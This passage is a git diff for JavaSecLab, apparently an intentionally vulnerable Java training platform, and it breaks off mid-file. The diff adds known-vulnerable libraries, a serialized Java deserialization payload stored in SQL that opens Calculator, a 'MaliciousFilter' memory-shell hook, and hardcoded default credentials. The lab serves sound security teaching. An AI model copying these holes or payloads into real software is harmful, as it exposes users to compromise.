diff --git a/.gitignore b/.gitignore index cddf5d8..ee547e7 100644 --- a/.gitignore +++ b/.gitignore @@ -34,4 +34,7 @@ build/ ### Mac OS ### .DS_Store -/logs/ \ No newline at end of file +/logs/ +/.idea/ +/src/test/ +src/main/resources/application-aliyun.yml \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 13566b8..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Editor-based HTTP Client requests -/httpRequests/ -# Datasource local storage ignored files -/dataSources/ -/dataSources.local.xml diff --git a/.idea/dataSources.xml b/.idea/dataSources.xml deleted file mode 100644 index cd5bd28..0000000 --- a/.idea/dataSources.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - mysql.8 - true - docker-mac-13306 - com.mysql.cj.jdbc.Driver - jdbc:mysql://localhost:13306 - $ProjectFileDir$ - - - \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml deleted file mode 100644 index aa00ffa..0000000 --- a/.idea/encodings.xml +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml deleted file mode 100644 index 4b661a5..0000000 --- a/.idea/misc.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/.idea/mybatisx/templates.xml b/.idea/mybatisx/templates.xml deleted file mode 100644 index b022f50..0000000 --- a/.idea/mybatisx/templates.xml +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml deleted file mode 100644 index 2b63946..0000000 --- a/.idea/uiDesigner.xml +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index 8306744..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 40dcbc3..f345b4c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -3,13 +3,23 @@ FROM openjdk:8 WORKDIR /work LABEL maintainer="whgojp@foxmail.com" -LABEL version="1.0" +LABEL version="1.4" LABEL description="I think therefore I am." COPY target/JavaSecLab.jar /work/JavaSecLab.jar -EXPOSE 8080 -EXPOSE 9090 +RUN mkdir -p /tmp/upload && mkdir -p /tmp/static \ + && mkdir -p /tmp/static/api /tmp/static/css /tmp/static/images /tmp/static/js /tmp/static/lib /tmp/static/other /tmp/static/upload \ + && chmod -R 777 /tmp/upload /tmp/static \ + && echo "vul test.jsp" > /tmp/upload/test.jsp \ + && echo "vul test.txt" > /tmp/upload/test.txt \ + && echo "test readme.md" > /tmp/static/api/readme.md \ + && echo "test styles.css" > /tmp/static/css/styles.css \ + && echo "test script.js" > /tmp/static/js/script.js \ + && echo "test resource.txt" > /tmp/static/other/resource.txt \ + && echo "test file.txt" > /tmp/static/upload/file.txt + +EXPOSE 80 ENV IMAGE_NAME=JavaSecLab diff --git a/README.md b/README.md index f17d4d6..42925ce 100644 --- a/README.md +++ b/README.md @@ -1,60 +1,84 @@ -[//]: # (# logoJavaSecLab 一款综合Java漏洞平台) -# JavaSecLab 一款综合Java漏洞平台 +# ![](./pic/logo.png)JavaSecLab—A comprehensive Java vulnerability platform + +
+ License + Release + Version + Developed by whgojp + GitHub Repo stars + GitHub forks +
+ -

-License -Release -Version -Developed by whgojp -

+[中文文档😊](./README_ZH.md) ---------------------------------------- -## 项目介绍 -​ JavaSecLab是一款综合型Java漏洞平台,提供相关漏洞缺陷代码、修复代码、漏洞场景、审计SINK点、安全编码规范,覆盖多种漏洞场景,友好用户交互UI…… +## Project introduction +​ JavaSecLab is **the most comprehensive Java vulnerability platform **, providing related vulnerability defect code, repair code, vulnerability scenarios, audit SINK point, security coding specifications, vulnerability traffic analysis, covering a variety of vulnerability scenarios, user-friendly interaction UI...... ![image-20241020143155383](./pic/home.png) ![show](./pic/show.png) -## 面向人群 +## public-facing + +- Security services: Help security service personnel understand the principle of vulnerability (generation, repair, audit), and corresponding vulnerability traffic analysis + +- Party A's security: It can be used as a development security training demonstration, a friendly interactive way to help R & D students more easily understand the vulnerability + +- Security research: Different trigger scenarios for various vulnerabilities can be used for testing security tools such as xAST + -- 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计) -- 甲方安全方面:可作为开发安全培训演示,友好的交互方式,帮助研发同学更容易理解漏洞 -- 安全研究方面:各种漏洞的不同触发场景,可用于xAST等安全工具测试 +## Support vulnerability module -## 在线环境体验 +- Cross-site scripting attacks, cross-site request forgery, CORS, JSONP, URL redirection, XFF forgery, denial of service, XPATH injection + +- SQL Injection, arbitrary file family, cross-server request forgery, XML entity injection, RCE + +- Logic vulnerabilities (IDOR, verification code security, payment security, concurrency security), sensitive information leakage series, login antagonism series + +- SPEL injection, SSTI injection, deserialization, component vulnerabilities + + +## Online environment experience http://whgojp.top/ -账号密码:admin/admin +Account password: admin/admin + +## Project inspiration -## 项目灵感 +​ **I have worked in Party A's unit for a period of time, and had access to the complete vulnerability life cycle ** : After completing penetration tests many times, I sent work orders (TAPD, Jira) to notify the R&D students to fix the vulnerability, and I often faced some problems: **1, the R&D did not know why this was a vulnerability? 2, R&D does not know how to fix this vulnerability? ** +​ Thus, an idea 💡 arises spontaneously, and I happen to know some development knowledge, wondering whether I can let the R & D students quickly understand the generation and repair of loopholes through the way of code... -​ 曾在甲方单位工作过一段时间,有机会可以接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发朋友修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?** -​ 由此,一个想法💡油然而生,恰巧自己也懂些开发知识,想着可不可以通过代码的方式让研发朋友快速了解漏洞的产生与修复…… +> The platform provides security coding specifications for relevant vulnerabilities, and Party A friends can consider joining the development of security training when doing SDL/DevSecOps construction -> 平台提供相关漏洞的安全编码规范,甲方朋友在做SDL/DevSecOps建设的时候,可以考虑加入开发安全培训这一环节 +​ In addition, I have also done security service projects, I think most of my friends will be with me, just according to the information collection -> network -> Discovery of vulnerabilities -> output report this process test, for how the vulnerability is generated, how to repair, it seems not concerned... -​ 此外,自己也做过安全服务类项目,我想大部分朋友会和我一下,只是按照 信息收集->外网打点->发现漏洞->输出报告 这个流程测试,对于漏洞怎么产生、怎么修复,似乎并不关心…… +​ In the process of code audit, it is common to locate the SINK point (that is, the key location of code execution or output) and then backtrack to find the corresponding SOURCE point (that is, the location of the input or data source). The code audit is done by concatenating the SOURCE and SINK points -​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,来完成代码审计工作 +> For each vulnerability, the platform provides the corresponding defect code and various security repair methods (such as: 1, upgrade repair 2, non-upgrade repair). At the same time, for code audit, the platform also provides the SINK point of related vulnerabilities -> 平台针对每种漏洞提供对应缺陷代码、多种安全安全修复方式(例如:1、升级修复 2、非升级修复),同时针对代码审计,平台也提供相关漏洞的SINK点 +​ Later, contact with application security products, SCA, SAST, DAST, RASP, etc., looking at security vulnerabilities seems to be another Angle, for customers, the purchase of security tools, whether it is scanning source code, containers, images... Of course, I also hope to less false positives, the author has more or less access to accessibility analysis and other related technologies, the project has also written different trigger scenarios for each vulnerability, interested friends can test it... -​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下…… +> The platform provides multiple trigger scenarios for the same vulnerability -> 平台针对同种漏洞提供多种触发场景 +🆕 update the vulnerability traffic analysis module to facilitate teachers' reference and learning. Take the vulnerability traffic of this project as an example. If you have better vulnerability traffic packets, welcome to submit PR to participate in the project 🌹 -…… +![flow1](./pic/flow1.png) -## 技术架构 +Here, take delayed injection as an example: the traffic characteristic can be clearly seen from the response time: the server responds after 5 seconds + +![flow2](./pic/flow2.png) + +## Technical architecture ​ SpringBoot + Spring Security + MyBatis + Thymeleaf + Layui -## 部署方式 +## Deployment mode -先clone下项目代码 +clone the project code first ```shell git clone https://github.com/whgojp/JavaSecLab.git @@ -62,24 +86,24 @@ git clone https://github.com/whgojp/JavaSecLab.git ![image-20240905230400930](./pic/git-clone.png) -### 原生部署-IDEA +### Local deployment -IDEA -> JDK环境 1.8 +> JDK Environment 1.8 -1. 配置数据库(**Mysql 8.0+**) +1. Configuration Database (**Mysql 8.0+**) - 执行 sql/JavaSecLab.sql 文件 + Execute the sql/JavaSecLab.sql file - 修改配置文件application.yml active为dev(项目默认为docker 如果搭建的过程中出现数据库连接错误 师傅们可以注意下这里) + Modify the configuration file application.yml active to dev(the project default is docker if there is a database connection error during the construction process, teachers can pay attention to here) ```yaml spring: - # 环境 dev|docker + # Environment dev|docker profiles: active: dev ``` -2. 修改application-dev.yml配置文件 +2. Modify the application-dev.yml configuration file ```yaml username: root @@ -89,13 +113,13 @@ url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTime logo -初始账号密码:admin/admin(后台可修改) +Initial password: admin/admin(can be changed in the background) -### Docker部署(推荐) +### Docker Deployment (**Recommended**) -> 条件:已安装docker和docker-compose +> Condition: docker and Docker-Compose are installed > -> docker部署过程中 sql文件没有初始化执行的话(即数据库为空) 需要手动导入下sql文件 +> If the sql file is not initialized during docker deployment (that is, the database is empty), you need to manually import the sql file ```shell mvn clean package -DskipTests @@ -106,26 +130,43 @@ docker-compose -p javaseclab up -d ![image-20240905225532698](./pic/deploy-docker2.png) -## 开源协议 +For details about deployment solutions and deployment questions, see:[Deployment guide](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) + +## Open source protocol ​ **When we speak of free software, we are referring to freedom, not price.** -本项目遵循 [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) 协议,详细的许可证内容请参见项目中的 [LICENSE](./LICENSE) 文件。 +This project follows [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) protocol,the detailed content of License please see the [LICENSE](./LICENSE) file。 -## 一些Tips🙋 +## Update record -1. 安全问题:由于是漏洞靶场,因此不建议搭建在公网上使用 -1. 项目中的安全修复代码仅供参考,实际业务中漏洞修复起来可能要复杂的多…… -1. **问题/建议反馈:如果遇到一些项目问题或者更好的建议,欢迎各位师傅可以提Issue或加交流群进行反馈** -1. **看到这里,师傅觉得项目有用的话,麻烦动动手点个star吧,非常感谢🙏** +Project detailed record update, please refer to [update log](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) -## 关于作者 +## A few Tips🙋 -作者博客:https://blog.csdn.net/weixin_53009585 +1. Security issues: Because it is a vulnerability shooting range, it is not recommended to use it on the public network +1. The security repair code in the project is for reference only, and the actual business vulnerability repair may be much more complex... +1. **Problem/Suggestion feedback: If you encounter some project problems or better suggestions, you are welcome to raise an Issue or add a communication group for feedback ** +1. **See here, if the master thinks the project is useful, please move and click a star, thank you very much 🙏** -**如果师傅同样对开发安全、应用安全、SDL、漏洞靶场等感兴趣的话,欢迎加交流群一起探讨……** +## About the author + +Author's blog:[今天是几号](https://blog.csdn.net/weixin_53009585) + +**If the master is also interested in development security, application security, SDL, vulnerability shooting range, etc., welcome to join the exchange group to discuss... **
description - description + description
+ + +## Sponsor open source + +​ If you find this tool helpful, consider supporting the author's development efforts. Your sponsorship will be used to maintain the online server and continuously optimize the project function, thank you very much for your encouragement and support! + +
+ +
+ + diff --git a/README_ZH.md b/README_ZH.md new file mode 100644 index 0000000..96a4f27 --- /dev/null +++ b/README_ZH.md @@ -0,0 +1,170 @@ +# ![](./pic/logo.png)JavaSecLab 一款综合Java漏洞平台 + +
+ License + Release + Version + Developed by whgojp + GitHub Repo stars + GitHub forks +
+ + +---------------------------------------- + +## 项目介绍 +​ JavaSecLab是**一款综合型Java漏洞平台**,提供相关漏洞缺陷代码、修复代码、漏洞场景、审计SINK点、安全编码规范、漏洞流量分析,覆盖多种漏洞场景,友好用户交互UI…… + +![image-20241020143155383](./pic/home.png) + +![show](./pic/show.png) + +## 面向人群 + +- 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计),以及对应漏洞流量分析 + +- 甲方安全方面:可作为开发安全培训演示,友好的交互方式,帮助研发同学更容易理解漏洞 + +- 安全研究方面:各种漏洞的不同触发场景,可用于xAST等安全工具测试 + + +## 支持漏洞模块 + +- 跨站脚本攻击、跨站请求伪造、CORS、JSONP、URL重定向、XFF伪造、拒绝服务、XPATH注入 + +- SQL注入、任意文件系列、跨服务端请求伪造、XML实体注入、RCE + +- 逻辑漏洞(IDOR、验证码安全、支付安全、并发安全)、敏感信息泄漏系列、登录对抗系列 + +- SPEL注入、SSTI注入、反序列化、组件漏洞 + + +## 在线环境体验 + +http://whgojp.top/ + +账号密码:admin/admin + +## 项目灵感 + +​ 曾在甲方单位工作过一段时间,有机会接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发同学修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?** +​ 由此,一个想法💡油然而生,恰巧自己也懂些开发知识,想着可不可以通过代码的方式让研发同学快速了解漏洞的产生与修复…… + +> 平台提供相关漏洞的安全编码规范,甲方朋友在做SDL/DevSecOps建设的时候,可以考虑加入开发安全培训这一环节 + +​ 此外,自己也做过安全服务类项目,我想大部分朋友会和我一下,只是按照 信息收集->外网打点->发现漏洞->输出报告 这个流程测试,对于漏洞怎么产生、怎么修复,似乎并不关心…… + +​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,来完成代码审计工作 + +> 平台针对每种漏洞提供对应缺陷代码、多种安全安全修复方式(例如:1、升级修复 2、非升级修复),同时针对代码审计,平台也提供相关漏洞的SINK点 + +​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下…… + +> 平台针对同种漏洞提供多种触发场景 + +🆕 更新漏洞流量分析模块,方便师傅们参考学习,以本项目漏洞流量为例,如果您有更好的漏洞流量数据包,欢迎提PR参与项目🌹 + +![flow1](./pic/flow1.png) + +这里以延时注入为例:可以从响应时间明显的看到其流量特征:5秒后服务器响应 + +![flow2](./pic/flow2.png) + +## 技术架构 + +​ SpringBoot + Spring Security + MyBatis + Thymeleaf + Layui + +## 部署方式 + +先clone下项目代码 + +```shell +git clone https://github.com/whgojp/JavaSecLab.git +``` + +![image-20240905230400930](./pic/git-clone.png) + +### 本地部署-IDEA + +> JDK环境 1.8 + +1. 配置数据库(**Mysql 8.0+**) + + 执行 sql/JavaSecLab.sql 文件 + + 修改配置文件application.yml active为dev(项目默认为docker 如果搭建的过程中出现数据库连接错误 师傅们可以注意下这里) + + ```yaml + spring: + # 环境 dev|docker + profiles: + active: dev + ``` + +2. 修改application-dev.yml配置文件 + +```yaml +username: root +password: QWE123qwe +url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true +``` + +logo + +初始账号密码:admin/admin(后台可修改) + +### Docker部署(推荐) + +> 条件:已安装docker和docker-compose +> +> docker部署过程中 sql文件没有初始化执行的话(即数据库为空) 需要手动导入下sql文件 + +```shell +mvn clean package -DskipTests +docker-compose -p javaseclab up -d +``` + +![image-20240905225532698](./pic/deploy-docker.png) + +![image-20240905225532698](./pic/deploy-docker2.png) + +更多部署方案、部署问题解答详见:[部署指南](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) + +## 开源协议 + +​ **When we speak of free software, we are referring to freedom, not price.** + +本项目遵循 [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) 协议,详细的许可证内容请参见项目中的 [LICENSE](./LICENSE) 文件。 + +## 更新记录 + +项目的详细更新记录请参阅 [更新日志](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) + +## 一些Tips🙋 + +1. 安全问题:由于是漏洞靶场,因此不建议搭建在公网上使用 +1. 项目中的安全修复代码仅供参考,实际业务中漏洞修复起来可能要复杂的多…… +1. **问题/建议反馈:如果遇到一些项目问题或者更好的建议,欢迎各位师傅可以提Issue或加交流群进行反馈** +1. **看到这里,师傅觉得项目有用的话,麻烦动动手点个star吧,非常感谢🙏** + +## 关于作者 + +作者博客:[今天是几号](https://blog.csdn.net/weixin_53009585) + +**如果师傅同样对开发安全、应用安全、SDL、漏洞靶场等感兴趣的话,欢迎加交流群一起探讨……** + +
+ description + description +
+ + +## 赞助开源 + +​ 如果您觉得这个工具对您有帮助,不妨考虑支持一下作者的开发工作。您的赞助将用于维护在线服务器和持续优化项目功能,非常感谢您的鼓励和支持! + +
+ +
+ + diff --git a/docker-compose.yml b/docker-compose.yml index e1117e2..00ee434 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -15,26 +15,24 @@ services: - JavaSecLabNet JavaSecLab: - image: javaseclab:1.1 + image: javaseclab:1.4 container_name: Container-JavaSecLab restart: always build: . ports: - 80:80 - - 8080:8080 - - 9090:9090 environment: - - TZ=Asia/Shanghai # 设置时区为上海(GMT+8) + - TZ=Asia/Shanghai # 设置时区上海(GMT+8) depends_on: - mysql volumes: - ./logs:/logs # 记录日志信息 + networks: - JavaSecLabNet - # 密码 admin@portainer.com portainer: - image: portainer/portainer-ce + image: portainer/portainer-ce:latest container_name: portainer restart: always ports: diff --git a/pic/donate.jpg b/pic/donate.jpg new file mode 100644 index 0000000..543f2e1 Binary files /dev/null and b/pic/donate.jpg differ diff --git a/pic/flow1.png b/pic/flow1.png new file mode 100644 index 0000000..fc58e5c Binary files /dev/null and b/pic/flow1.png differ diff --git a/pic/flow2.png b/pic/flow2.png new file mode 100644 index 0000000..9482f9c Binary files /dev/null and b/pic/flow2.png differ diff --git a/pic/group.png b/pic/group.png index 1999475..a3537d9 100644 Binary files a/pic/group.png and b/pic/group.png differ diff --git a/pic/home.png b/pic/home.png index 2c6239a..436a659 100644 Binary files a/pic/home.png and b/pic/home.png differ diff --git a/pic/show.png b/pic/show.png index 3bb4967..d33af53 100644 Binary files a/pic/show.png and b/pic/show.png differ diff --git a/pom.xml b/pom.xml index 264baa8..dc216f5 100644 --- a/pom.xml +++ b/pom.xml @@ -6,16 +6,16 @@ top.whgojp JavaSecLab - 1.1.0 + 1.4.0 Java综合漏洞平台 - hello JavaSec! + hello JavaSecLab! org.springframework.boot spring-boot-starter-parent - - 2.4.1 - + + 2.4.1 + @@ -26,9 +26,10 @@ 5.8.21 1.18.4 3.5.1 - 8.0.33 + + 8.0.14 2.2.0.0 - 0.10.7 + 0.11.5 @@ -75,43 +76,13 @@ 1.2.16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - com.mysql - mysql-connector-j - ${mysql.version} + + mysql + mysql-connector-java + 8.0.14 + com.baomidou @@ -192,19 +163,6 @@ provided - - - - - - - - - - - - - org.codehaus.groovy groovy-all @@ -265,6 +223,37 @@ spring-tx + + org.bouncycastle + bcprov-jdk15on + 1.70 + + + + ognl + ognl + 3.3.1 + + + + commons-collections + commons-collections + 3.2.1 + + + + org.springframework.boot + spring-boot-starter-websocket + 2.4.1 + + + + + com.baomidou + dynamic-datasource-spring-boot-starter + 3.6.1 + + JavaSecLab @@ -288,29 +277,16 @@ + - central - https://repo.maven.apache.org/maven2 - - - spring-milestone - https://repo.spring.io/milestone + aliyun-central + https://maven.aliyun.com/repository/central - spring-release - https://repo.spring.io/release - - - acfunnexus - https://maven.aliyun.com/repository/public/ - default - - true - - - true - + aliyun-public + https://maven.aliyun.com/repository/public + diff --git a/sql/JavaSecLab.sql b/sql/JavaSecLab.sql index a4a9548..f5a046b 100644 --- a/sql/JavaSecLab.sql +++ b/sql/JavaSecLab.sql @@ -1,5 +1,5 @@ /* - Navicat Premium Data Transfer + Navicat Premium Dump SQL Source Server : mysql_docker_mac Source Server Type : MySQL @@ -11,47 +11,27 @@ Target Server Version : 80200 (8.2.0) File Encoding : 65001 - Date: 10/11/2024 13:17:18 + Date: 23/03/2025 17:52:40 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- --- Table structure for hsqli +-- Table structure for objects -- ---------------------------- -DROP TABLE IF EXISTS `hsqli`; -CREATE TABLE `hsqli` ( - `id` bigint NOT NULL AUTO_INCREMENT, - `password` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL, - `username` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL, +DROP TABLE IF EXISTS `objects`; +CREATE TABLE `objects` ( + `id` int NOT NULL, + `malicious_object` blob, PRIMARY KEY (`id`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; - --- ---------------------------- --- Records of hsqli --- ---------------------------- -BEGIN; -COMMIT; - --- ---------------------------- --- Table structure for log --- ---------------------------- -DROP TABLE IF EXISTS `log`; -CREATE TABLE `log` ( - `logId` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT 'log_id', - `username` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '用户名', - `optionName` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '用户操作', - `optionTerminal` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '操作终端', - `optionIp` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT 'Ip地址', - `optionTime` date DEFAULT NULL COMMENT '创建时间', - PRIMARY KEY (`logId`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; -- ---------------------------- --- Records of log +-- Records of objects -- ---------------------------- BEGIN; +INSERT INTO `objects` (`id`, `malicious_object`) VALUES (1, 0xACED000573720034746F702E7768676F6A702E6D6F64756C65732E737072696E67626F6F742E656E746974792E4D616C6963696F75734F626A656374C007A841C29C41060200014C0007636F6D6D616E647400124C6A6176612F6C616E672F537472696E673B78707400126F70656E202D612043616C63756C61746F72); COMMIT; -- ---------------------------- @@ -60,16 +40,18 @@ COMMIT; DROP TABLE IF EXISTS `sqli`; CREATE TABLE `sqli` ( `id` int NOT NULL AUTO_INCREMENT, - `username` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', - `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', + `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', PRIMARY KEY (`id`) USING BTREE -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- ---------------------------- -- Records of sqli -- ---------------------------- BEGIN; -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (1, 'test', 'test'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (1, 'admin', 'admin'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (2, 'admin123', 'admin123'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (3, 'test', 'test'); COMMIT; -- ---------------------------- @@ -77,8 +59,8 @@ COMMIT; -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( - `username` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', - `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', + `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', PRIMARY KEY (`username`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; @@ -97,11 +79,11 @@ COMMIT; DROP TABLE IF EXISTS `xss`; CREATE TABLE `xss` ( `id` int NOT NULL AUTO_INCREMENT COMMENT '主键id', - `content` text COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入内容', + `content` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入内容', `ua` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT 'User-Agent', - `date` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入时间', + `date` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入时间', PRIMARY KEY (`id`) -) ENGINE=InnoDB AUTO_INCREMENT=82 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB AUTO_INCREMENT=85 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- ---------------------------- -- Records of xss diff --git a/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java b/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java deleted file mode 100644 index 7b850d7..0000000 --- a/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java +++ /dev/null @@ -1,24 +0,0 @@ -//package top.whgojp.common.config; -// -//import com.alibaba.druid.pool.DruidDataSource; -//import org.springframework.boot.context.properties.ConfigurationProperties; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.Configuration; -// -//import javax.activation.DataSource; -// -///** -// * @description <功能描述> -// * @author: whgojp -// * @email: whgojp@foxmail.com -// * @Date: 2024/8/9 13:17 -// */ -//@Configuration -//public class DataSourceConfiguration { -// -// @ConfigurationProperties(prefix = "spring.datasource.druid") -// @Bean -// public DataSource dataSource(){ -// return (DataSource) new DruidDataSource(); -// } -//} \ No newline at end of file diff --git a/src/main/java/top/whgojp/common/config/FilterConfig.java b/src/main/java/top/whgojp/common/config/FilterConfig.java new file mode 100644 index 0000000..4fdaad9 --- /dev/null +++ b/src/main/java/top/whgojp/common/config/FilterConfig.java @@ -0,0 +1,19 @@ +package top.whgojp.common.config; + +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import top.whgojp.modules.mshell.entity.MaliciousFilter; + +@Configuration +public class FilterConfig { + + @Bean + public FilterRegistrationBean maliciousFilter() { + FilterRegistrationBean registrationBean = new FilterRegistrationBean<>(); + registrationBean.setFilter(new MaliciousFilter()); + registrationBean.addUrlPatterns("/mshell/filter/*"); // 拦截所有请求 + registrationBean.setOrder(1); // 可以设置过滤器的优先级,值越小,优先级越高 + return registrationBean; + } +} diff --git a/src/main/java/top/whgojp/common/config/HibernateConfig.java b/src/main/java/top/whgojp/common/config/HibernateConfig.java deleted file mode 100644 index 71a58d4..0000000 --- a/src/main/java/top/whgojp/common/config/HibernateConfig.java +++ /dev/null @@ -1,55 +0,0 @@ -//package top.whgojp.common.config; -// -//import org.hibernate.SessionFactory; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.ComponentScan; -//import org.springframework.context.annotation.Configuration; -//import org.springframework.jdbc.datasource.DriverManagerDataSource; -//import org.springframework.orm.hibernate5.HibernateTransactionManager; -//import org.springframework.orm.hibernate5.LocalSessionFactoryBean; -//import org.springframework.transaction.annotation.EnableTransactionManagement; -// -//import javax.sql.DataSource; -//import java.util.Properties; -// -//@Configuration -//@EnableTransactionManagement -//@ComponentScan(basePackages = "top.whgojp") // 替换为你的包名 -//public class HibernateConfig { -// -// @Bean -// public LocalSessionFactoryBean sessionFactory() { -// LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean(); -// sessionFactory.setDataSource(dataSource()); // 设置数据源 -// sessionFactory.setPackagesToScan("top.whgojp"); // 替换为包含实体类的包名 -// sessionFactory.setHibernateProperties(hibernateProperties()); -// return sessionFactory; -// } -// -// @Bean -// public DataSource dataSource() { -// DriverManagerDataSource dataSource = new DriverManagerDataSource(); -// dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver"); -// dataSource.setUrl("jdbc:mysql://localhost:13306/JavaSecLab"); -// dataSource.setUsername("root"); -// dataSource.setPassword("QWE123qwe"); -// return dataSource; -// } -// -// @Bean -// public HibernateTransactionManager transactionManager(SessionFactory sessionFactory) { -// HibernateTransactionManager txManager = new HibernateTransactionManager(); -// txManager.setSessionFactory(sessionFactory); -// return txManager; -// } -// -// private Properties 